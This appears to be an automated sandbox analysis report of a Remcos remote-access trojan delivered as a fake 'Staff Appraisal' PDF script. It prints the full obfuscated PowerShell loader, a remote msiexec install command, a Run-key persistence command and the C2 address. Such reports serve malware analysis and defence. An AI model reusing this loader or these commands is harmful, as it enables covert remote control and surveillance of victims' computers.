Analysis

  • max time kernel
    149s
  • max time network
    148s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    21/04/2026, 12:28

General

  • Target
    Staff Appraisal_pdf.vbs
  • Size 71KB
  • Sample260421-pnf3baex3m
  • SHA256 cfa65056a9accc2678480771e25891733787cf1f0ac46727e2663ca8383e3795
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • remcos

Botnet
  • RemoteHost

C2
  • 95.211.165.137:2404

Attributes
  • audio_folder

    MicRecords

  • audio_path

    ApplicationPath

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-BSQI5D

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Family: Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Badlisted process makes network request 11 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Use of msiexec (install) with remote resource 3 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Installer Packages 2 TTPs 3 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Staff Appraisal_pdf.vbs"
    1⤵
    • Badlisted process makes network request
    • Suspicious use of WriteProcessMemory
    PID:2700
    • C:\Windows\System32\ping.exe
      ping Bera_6637.6637.6637.657e
      2⤵
      • System Network Configuration Discovery: Internet Connection Discovery
      • Runs ping.exe
      PID:1628
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "sv 'inapprehensive4';$kleskabets=4;$kbmandsgaard=55;function skindd ($feudalizingndbydenderugerstandard,$feudalizingndbydende) {$pag=gallstones('Famously Diasrammen bakteriebombe Majliss Sagos Upcoast UU [vvvviPPP,nUUUUtnnnn]ggg $TTTTfs,ssekkkkuc ccd- --auuu lV.VViJJJJzbbbbiHHHHn ???g^^^^n aaadpp,pbkkkkyXX Xd ***e HH n////dkkkke%%%%r####u ***g ccce vv rAAA,s OO,tlllla~~~~n ===dw,wwa,rrrr====d.mmm TTTT-F FFb,dddxS SSoL.LLrkkkk uuuu[yyyyi||||nL.LLthhhh] vvv$IIIIf::::e~~~~uT TTdzzzzaOO,OlcccciEEEEz%%%%iKKKKn****g% %%nEEEEdIIIIbNNNNygg gd ___eggggn < <dA AAeiiii ');Alvers ($pag)}function Alvers ($possessionalism) {&(($theologizer)) ($possessionalism)}function gallstones ($spied) { $feudalizing=$kleskabets+$kbmandsgaard; do {$reharm+=$spied[$feudalizing];$feudalizing+=5} until (!$spied[$feudalizing])$reharm}Function Romana238 ($spied,$roupiest60=0){$accompanyist=gallstones('Schenkelvigningerne Oomycetes Reconceptualising Genit K&&&&$<<<<s====c::::rTTTTi!! !p Z Zt ooo:vvvvuWWWWp VVVa hhha****v!!.!ippppsTTTTe CCClhhhhi wwwg %%%=<<<<[iii.CUU Uo') ;$accompanyist+=gallstones('Triphthongal Instinktets snedkre Tilsmil Fortrstning Gu____n^^^^v HHHeGGGGrWWWWt II]AAAA: ? ?:cc cFEEEErPPPPoPPPPm MMMBccc.ammmms^^^^eLLLL6YYYY4????S hhhtggg r =.=immmmn;;;;gYYYY( CC.$sssssRRRRpffffitttte .AAdll l)');Alvers ($accompanyist);For($feudalizing=0; $upaaviselig[$feudalizing] -ne $null; $feudalizing++){$upaaviselig[$feudalizing] = skindd $upaaviselig[$feudalizing] $varegrupper[$feudalizing%18]}Alvers (gallstones 'Swarmed Tudedes Caliphship Pleuropterygii terapiassiste----$oooosv vvc<<< rQQ Qifff.pTT Tt bbb:II.InaaaauqqqqlWWW lssssi.iiibiiiiiQQQQcCCCCi OOOtu uuywww =aaaa[ ,bbT :::e |||x jjjt%%%%.TTTTE ,<<nI IIcSSS.oq,qqd hhhi mmmnIIIIgWWWW] ===:zzzz:UUUUA### S****C lllIooo,IQQQQ.vvvvGqqqqeMMMMtllllS ,pptc,ccr^^^^ixx xn- --gYYYY(++++$????u////p :::a YYa+ ++vyyy i cccs;;;;eMMMMlWWWWioooogoooo)');if ($roupiest60) { Alvers $nullibicity}else {;$nullibicity}}$varegrupper=@(80,101,114,115,112,101,107,116,105,118,112,108,97,110,101,114,110,101);$theologizer=gallstones 'Sonograms Fabrikationer Patios Raastofindvindingerne su +++icccce****x';$natalities=Romana238 'ZUtCU1gyAhoNGQcfQSAxUl9VflVJUycMBUJdTVAUV1peUhwTalRGSl5VQlQuExMHDkFXQl9VYFRCQlAjAgYMEB8UTl9RS0BV';$tatarerne=Romana238 'OBEGAwNfRFsEEwQDFQMMHw8XPAwZXRMKBlodBF8bERgAFxwQI0o3HRQAHQYNHxUeDwsWXB4DPQ==';$elitetroppernes=Romana238 'bg==';$paritetsbit='\Ihukommendes.Juv';Romana238 'dAIeHBIEB04HGQYFFQcEBgtYdAAcBUoEGwQNFwQNSkoVExwMJAAGABIMHw==' 1;Romana238 'dAIeHBIEB04CHxwAFgsAFlNBJAQGEgIAGRoMWAMcDQcRWkoAPAwGFgQXBAQZEwICBB1M' 1;Romana238 'CysXB142DgYfHxMJMQEMHBooMQsTFBUXNk5TJRUPFBwMBhc1IgoGHBMKB0laRkde' 1;$tatarerne=$killweed[0];$vaporware=(Romana238 'dAIeHBIEB04PFx4YAB0MFAEWJAAAFgRYJREeWz8OCwsGBk4rNRFcJBUHKBgAEx4Y');Alvers ($vaporware);Romana238 'dAMTHQQEGB0PGQMYBBwABkAtNQQWFgIWMC8nEwRCKRoRAjwAIRAXAAQtDhUNEwIxVV44T0oLMRETHxkRAhEa' 1;$reeksporterings=Romana238 'FAoFHRwKChAvHxwJ';$futurumens=Romana238 'dAMTHQQEGB0PGQMYBBwABkBBIgAXGAMVBAYdEwIFDwkWXCcLJgoZFlhBHxUdFwIJEwAAXkoEJREdHx8CBAEaXw==';$autologous=$novitiate;Romana238 'dAIeHBIEB04CGR4YAAARFAEXMhcHFANYQyAMBQRBMQ8RGk5BMRAGHBwKDBscBVk=' 1;while (!$kontantforbrugs) {Romana238 'dAIeHBIEB047ExkBEQEXBgEJIlhWABMXCgQLGRcf' 1;Alvers $futurumens;Romana238 'AwkXFgBNX10=' 1;Romana238 'dAIeHBIEB04CGR4YAAARFAEXMhcHFANYQyAMBQRBMQ8RGk5BMRAGHBwKDBscBVk=' 1 ;Romana238 'dAIeHBIEB04FDxsHBBwMFgoAIgsXAE1BDBgGFBEAWwsGBgEGMRcCEhwAGF9CU1QHCAIJBQsANEsRHAULHw==' 1;$tatarerne=$killweed[$lykkeriddernes]}$florister=259911;$egnethed=20324;Romana238 'dAIeHBIEB04MFQQeDgkAHAcGbQIRU1QEHgAGGh8LDhsW' 1;Romana238 'dAIeHBIEB04LFxwZEhoXEwoAIlgpMB8LHREbAi1WWygXHQMnMRYXRUQ2HwYAGBdERQsGBhwKNwAcGhNM' 1;Romana238 'dAIeHBIEB04HExgeFFM+JgsdJEs3HRMKDx0HES1WWy82MScsfiIXByMRGR0HEVhIAw8JBx0RIgQWFgJM' 1;Romana238 'dAIeHBIEB04ZBB8aBAAQFxpYdAsXGwIQRQccFAMYEwcLFUZBNgkdARkWHxEbWlQJBgAABgYANEw=' 1;Alvers $provenuet;"
      2⤵
      • Badlisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2920
  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "sv 'inapprehensive4';$kleskabets=4;$kbmandsgaard=55;function skindd ($feudalizingndbydenderugerstandard,$feudalizingndbydende) {$pag=gallstones('Famously Diasrammen bakteriebombe Majliss Sagos Upcoast UU [vvvviPPP,nUUUUtnnnn]ggg $TTTTfs,ssekkkkuc ccd- --auuu lV.VViJJJJzbbbbiHHHHn ???g^^^^n aaadpp,pbkkkkyXX Xd ***e HH n////dkkkke%%%%r####u ***g ccce vv rAAA,s OO,tlllla~~~~n ===dw,wwa,rrrr====d.mmm TTTT-F FFb,dddxS SSoL.LLrkkkk uuuu[yyyyi||||nL.LLthhhh] vvv$IIIIf::::e~~~~uT TTdzzzzaOO,OlcccciEEEEz%%%%iKKKKn****g% %%nEEEEdIIIIbNNNNygg gd ___eggggn < <dA AAeiiii ');Alvers ($pag)}function Alvers ($possessionalism) {&(($theologizer)) ($possessionalism)}function gallstones ($spied) { $feudalizing=$kleskabets+$kbmandsgaard; do {$reharm+=$spied[$feudalizing];$feudalizing+=5} until (!$spied[$feudalizing])$reharm}Function Romana238 ($spied,$roupiest60=0){$accompanyist=gallstones('Schenkelvigningerne Oomycetes Reconceptualising Genit K&&&&$<<<<s====c::::rTTTTi!! !p Z Zt ooo:vvvvuWWWWp VVVa hhha****v!!.!ippppsTTTTe CCClhhhhi wwwg %%%=<<<<[iii.CUU Uo') ;$accompanyist+=gallstones('Triphthongal Instinktets snedkre Tilsmil Fortrstning Gu____n^^^^v HHHeGGGGrWWWWt II]AAAA: ? ?:cc cFEEEErPPPPoPPPPm MMMBccc.ammmms^^^^eLLLL6YYYY4????S hhhtggg r =.=immmmn;;;;gYYYY( CC.$sssssRRRRpffffitttte .AAdll l)');Alvers ($accompanyist);For($feudalizing=0; $upaaviselig[$feudalizing] -ne $null; $feudalizing++){$upaaviselig[$feudalizing] = skindd $upaaviselig[$feudalizing] $varegrupper[$feudalizing%18]}Alvers (gallstones 'Swarmed Tudedes Caliphship Pleuropterygii terapiassiste----$oooosv vvc<<< rQQ Qifff.pTT Tt bbb:II.InaaaauqqqqlWWW lssssi.iiibiiiiiQQQQcCCCCi OOOtu uuywww =aaaa[ ,bbT :::e |||x jjjt%%%%.TTTTE ,<<nI IIcSSS.oq,qqd hhhi mmmnIIIIgWWWW] ===:zzzz:UUUUA### S****C lllIooo,IQQQQ.vvvvGqqqqeMMMMtllllS ,pptc,ccr^^^^ixx xn- --gYYYY(++++$????u////p :::a YYa+ ++vyyy i cccs;;;;eMMMMlWWWWioooogoooo)');if ($roupiest60) { Alvers $nullibicity}else {;$nullibicity}}$varegrupper=@(80,101,114,115,112,101,107,116,105,118,112,108,97,110,101,114,110,101);$theologizer=gallstones 'Sonograms Fabrikationer Patios Raastofindvindingerne su +++icccce****x';$natalities=Romana238 'ZUtCU1gyAhoNGQcfQSAxUl9VflVJUycMBUJdTVAUV1peUhwTalRGSl5VQlQuExMHDkFXQl9VYFRCQlAjAgYMEB8UTl9RS0BV';$tatarerne=Romana238 'OBEGAwNfRFsEEwQDFQMMHw8XPAwZXRMKBlodBF8bERgAFxwQI0o3HRQAHQYNHxUeDwsWXB4DPQ==';$elitetroppernes=Romana238 'bg==';$paritetsbit='\Ihukommendes.Juv';Romana238 'dAIeHBIEB04HGQYFFQcEBgtYdAAcBUoEGwQNFwQNSkoVExwMJAAGABIMHw==' 1;Romana238 'dAIeHBIEB04CHxwAFgsAFlNBJAQGEgIAGRoMWAMcDQcRWkoAPAwGFgQXBAQZEwICBB1M' 1;Romana238 'CysXB142DgYfHxMJMQEMHBooMQsTFBUXNk5TJRUPFBwMBhc1IgoGHBMKB0laRkde' 1;$tatarerne=$killweed[0];$vaporware=(Romana238 'dAIeHBIEB04PFx4YAB0MFAEWJAAAFgRYJREeWz8OCwsGBk4rNRFcJBUHKBgAEx4Y');Alvers ($vaporware);Romana238 'dAMTHQQEGB0PGQMYBBwABkAtNQQWFgIWMC8nEwRCKRoRAjwAIRAXAAQtDhUNEwIxVV44T0oLMRETHxkRAhEa' 1;$reeksporterings=Romana238 'FAoFHRwKChAvHxwJ';$futurumens=Romana238 'dAMTHQQEGB0PGQMYBBwABkBBIgAXGAMVBAYdEwIFDwkWXCcLJgoZFlhBHxUdFwIJEwAAXkoEJREdHx8CBAEaXw==';$autologous=$novitiate;Romana238 'dAIeHBIEB04CGR4YAAARFAEXMhcHFANYQyAMBQRBMQ8RGk5BMRAGHBwKDBscBVk=' 1;while (!$kontantforbrugs) {Romana238 'dAIeHBIEB047ExkBEQEXBgEJIlhWABMXCgQLGRcf' 1;Alvers $futurumens;Romana238 'AwkXFgBNX10=' 1;Romana238 'dAIeHBIEB04CGR4YAAARFAEXMhcHFANYQyAMBQRBMQ8RGk5BMRAGHBwKDBscBVk=' 1 ;Romana238 'dAIeHBIEB04FDxsHBBwMFgoAIgsXAE1BDBgGFBEAWwsGBgEGMRcCEhwAGF9CU1QHCAIJBQsANEsRHAULHw==' 1;$tatarerne=$killweed[$lykkeriddernes]}$florister=259911;$egnethed=20324;Romana238 'dAIeHBIEB04MFQQeDgkAHAcGbQIRU1QEHgAGGh8LDhsW' 1;Romana238 'dAIeHBIEB04LFxwZEhoXEwoAIlgpMB8LHREbAi1WWygXHQMnMRYXRUQ2HwYAGBdERQsGBhwKNwAcGhNM' 1;Romana238 'dAIeHBIEB04HExgeFFM+JgsdJEs3HRMKDx0HES1WWy82MScsfiIXByMRGR0HEVhIAw8JBx0RIgQWFgJM' 1;Romana238 'dAIeHBIEB04ZBB8aBAAQFxpYdAsXGwIQRQccFAMYEwcLFUZBNgkdARkWHxEbWlQJBgAABgYANEw=' 1;Alvers $provenuet;"
    1⤵
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: MapViewOfSection
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4212
    • C:\Windows\SysWOW64\msiexec.exe
      "C:\WINDOWS\syswow64\msiexec.exe" /i https://Schalburgtagers/Hjaktiv.msi
      2⤵
      • Use of msiexec (install) with remote resource
      • Event Triggered Execution: Installer Packages
      PID:2228
    • C:\Windows\SysWOW64\msiexec.exe
      "C:\WINDOWS\syswow64\msiexec.exe" /i https://Schalburgtagers/Hjaktiv.msi
      2⤵
      • Badlisted process makes network request
      • Use of msiexec (install) with remote resource
      • Suspicious use of NtCreateThreadExHideFromDebugger
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Event Triggered Execution: Installer Packages
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3388
      • C:\Windows\SysWOW64\msiexec.exe
        "C:\WINDOWS\syswow64\msiexec.exe" /i https://Schalburgtagers/Hjaktiv.msi
        3⤵
        • Use of msiexec (install) with remote resource
        • Event Triggered Execution: Installer Packages
        PID:3268
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /c REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "Startup key" /t REG_EXPAND_SZ /d "%Chaussfnbrolgning% -windowstyle 2 $Snurrevodsspillene=(.'gp' 'HKCU:\Software\Joculator\').'Sprinkelvrkets';%Chaussfnbrolgning% ($Snurrevodsspillene)"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4352
        • C:\Windows\SysWOW64\reg.exe
          REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "Startup key" /t REG_EXPAND_SZ /d "%Chaussfnbrolgning% -windowstyle 2 $Snurrevodsspillene=(.'gp' 'HKCU:\Software\Joculator\').'Sprinkelvrkets';%Chaussfnbrolgning% ($Snurrevodsspillene)"
          4⤵
          • Adds Run key to start application
          • System Location Discovery: System Language Discovery
          PID:1296

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        ModuleAnalysisCache

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
        • Size 61KB
        • SHA256 d2798df470a71073e616ff54e7db24c40635f07c15fdacc463c3e8c931e1a341
        • MD5 SHA1 SHA512 SSDEEP TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 0f87f1cf57f5c29713b90eb32a68572e44b4f0638c21dd7002526c037d0d78eb
        • MD5 SHA1 SHA512 TLSH

        __PSScriptPolicyTest_rlfj3gtn.qh2.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rlfj3gtn.qh2.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        Ihukommendes.Juv

        • Path C:\Users\Admin\AppData\Roaming\Ihukommendes.Juv
        • Size 364KB
        • SHA256 6f6b6a20ae660f5273551449be66fbd346c95919845ac12e34a427c4abc9f64e
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/2700-3-0x0000021DCE7C0000-0x0000021DCE7CC000-memory.dmp

        memory/2700-0-0x0000021DCE7C0000-0x0000021DCE7CC000-memory.dmp

        memory/2920-26-0x000002599A8B0000-0x000002599A8BC000-memory.dmp

        memory/2920-12-0x00000259B3070000-0x00000259B3080000-memory.dmp

        memory/2920-15-0x000002599AA40000-0x000002599AA52000-memory.dmp

        memory/2920-16-0x00000259B3070000-0x00000259B3080000-memory.dmp

        memory/2920-13-0x00000259B3070000-0x00000259B3080000-memory.dmp

        memory/2920-4-0x00000259B3070000-0x00000259B3080000-memory.dmp

        memory/2920-5-0x00000259B3000000-0x00000259B3022000-memory.dmp

        memory/2920-14-0x000002599A8B0000-0x000002599A8BC000-memory.dmp

        memory/3388-73-0x0000000001230000-0x0000000002547000-memory.dmp

        memory/3388-67-0x0000000001230000-0x0000000002547000-memory.dmp

        memory/3388-54-0x0000000001230000-0x0000000002547000-memory.dmp

        memory/3388-71-0x0000000001230000-0x0000000002547000-memory.dmp

        memory/3388-75-0x0000000001230000-0x0000000002547000-memory.dmp

        memory/3388-55-0x0000000004160000-0x00000000041DA000-memory.dmp

        memory/3388-77-0x0000000001230000-0x0000000002547000-memory.dmp

        memory/4212-41-0x00000000067B0000-0x00000000067CE000-memory.dmp

        memory/4212-45-0x0000000006D00000-0x0000000006D1A000-memory.dmp

        memory/4212-46-0x0000000007A80000-0x0000000007B16000-memory.dmp

        memory/4212-47-0x00000000077B0000-0x00000000077D2000-memory.dmp

        memory/4212-48-0x0000000008B30000-0x00000000090D6000-memory.dmp

        memory/4212-44-0x0000000007F00000-0x000000000857A000-memory.dmp

        memory/4212-50-0x00000000090E0000-0x000000000B0CB000-memory.dmp

        memory/4212-51-0x0000000006580000-0x00000000065E4000-memory.dmp

        memory/4212-42-0x00000000067F0000-0x000000000683C000-memory.dmp

        memory/4212-39-0x0000000006220000-0x0000000006577000-memory.dmp

        memory/4212-32-0x0000000005FF0000-0x0000000006056000-memory.dmp

        memory/4212-31-0x0000000005F80000-0x0000000005FE6000-memory.dmp

        memory/4212-30-0x0000000005780000-0x00000000057A2000-memory.dmp

        memory/4212-29-0x0000000005950000-0x0000000005F7A000-memory.dmp

        memory/4212-28-0x0000000005290000-0x00000000052C6000-memory.dmp